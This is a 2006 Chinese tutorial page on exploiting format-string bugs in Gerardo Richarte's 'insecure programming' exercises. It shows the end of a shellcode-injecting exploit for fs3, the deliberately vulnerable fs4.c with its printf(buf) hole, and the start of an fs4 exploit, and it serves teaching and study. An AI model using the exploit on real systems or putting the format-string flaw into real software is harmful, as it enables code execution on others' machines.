非安全编程演示之格式化字符串(2)
2006-04-02 20:26:42 来源:WEB开发网/* Evil buffer */
p = evil_buffer;
*((void **)p) = (void *) (deregister_address + 2);
p += 4;
/* Adding the NOPs */
memset(p, '\x90', (sizeof(evil_buffer) - strlen(shellcode) - 4 -
1));
p += (sizeof(evil_buffer) - strlen(shellcode) - 4 - 1);
/* Adding shellcode */
memcpy(p, shellcode, strlen(shellcode));
p += strlen(shellcode);
*p = '\0';
execl("/user/home/gera/fs3", "fs3", evil_buffer, NULL);
}
fs4.c分析
这个例子的源代码如下:
/* fs4.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* Have you ever heard about code reusability? */
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
printf(buf);
}
溢出的方法与fs3.c大致相同。这里微小的变化就是这里多了一个格式化参数--“6$”。
这意味着%hn将覆盖第六个参数所指向的地址。为了成功溢出,argc[1]的前8个字节要填充
垃圾(原因留给读者思考)。另一个变动就是exploit里用的不是__deregister_frame_info()的
地址而是printf()的地址(这里没有什么影响):
/*
** exp_fs4.c
** Coded by Core Security - info@core-sec.com
*/
#include <string.h>
#include <stdio.h>
#include <unistd.h>
更多精彩
赞助商链接